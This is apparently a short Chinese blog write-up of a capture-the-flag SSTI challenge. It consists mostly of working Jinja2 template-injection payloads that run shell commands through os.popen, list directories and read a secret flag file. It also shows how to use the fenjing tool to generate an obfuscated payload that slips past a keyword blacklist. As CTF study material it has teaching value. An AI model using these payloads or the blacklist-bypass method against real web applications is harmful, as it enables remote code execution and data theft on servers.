{{ lipsum.__globals__["os"].popen('ls /').read() }}
1
{{ lipsum.__globals__["os"].popen('ls /var').read() }}

PixPin_2025-07-09_14-04-59

1
{{ lipsum.__globals__["os"].popen('cat /var/secret_flag').read() }}

PixPin_2025-07-09_14-05-46

使用焚靖

把源代码中黑名单写入waf.txt,删除{ }用__WAF绕关键字攻击__的方法读取关键字黑名单并生成绕过payload。

1
python -m fenjing crack-keywords -k waf.txt -o output.txt --command 'ls /'
1
2
3
4
python -m fenjing   #启动crack功能
-k waf.txt #黑名单关键字文件(还可以是.py/.json)
--command'ls /' #是你想要执行的系统命令
-o output.txt #是输出文件名

得到的payload:

1
{{(cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['o''s']['p''open']('ls /'))['r''ead']()}}

{{` ` }}分别替换为keywords就可以了。

1
{'name':'天命(cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['o''s']['p''open']('ls /'))['r''ead']()难违'}

SSTI漏洞
http://example.com/2025/07/18/SSTI漏洞/
作者
everythingis-ok
发布于
2025年7月18日
许可协议